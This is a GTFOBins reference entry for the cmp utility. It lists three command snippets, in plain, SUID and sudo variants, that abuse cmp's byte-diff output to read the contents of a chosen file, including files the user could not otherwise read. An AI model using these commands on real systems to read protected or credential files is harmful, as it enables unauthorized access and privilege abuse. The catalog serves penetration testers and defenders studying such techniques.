GTFOBins.github.io/_gtfobins/cmp.md
2021-07-13 08:53:44 +02:00

479 B

functions
file-read suid sudo
code
LFILE=file-to-read TEMP=$(mktemp) printf 'A%.0s' {1..999} > $TEMP cmp $LFILE $TEMP -b -n 999 -l
code
LFILE=file-to-read TEMP=$(mktemp) printf 'a%.0s' {1..999} > $TEMP cmp $LFILE $TEMP -b -n 999 -l
code
LFILE=file-to-read TEMP=$(mktemp) printf 'a%.0s' {1..999} > $TEMP sudo cmp $LFILE $TEMP -b -n 999 -l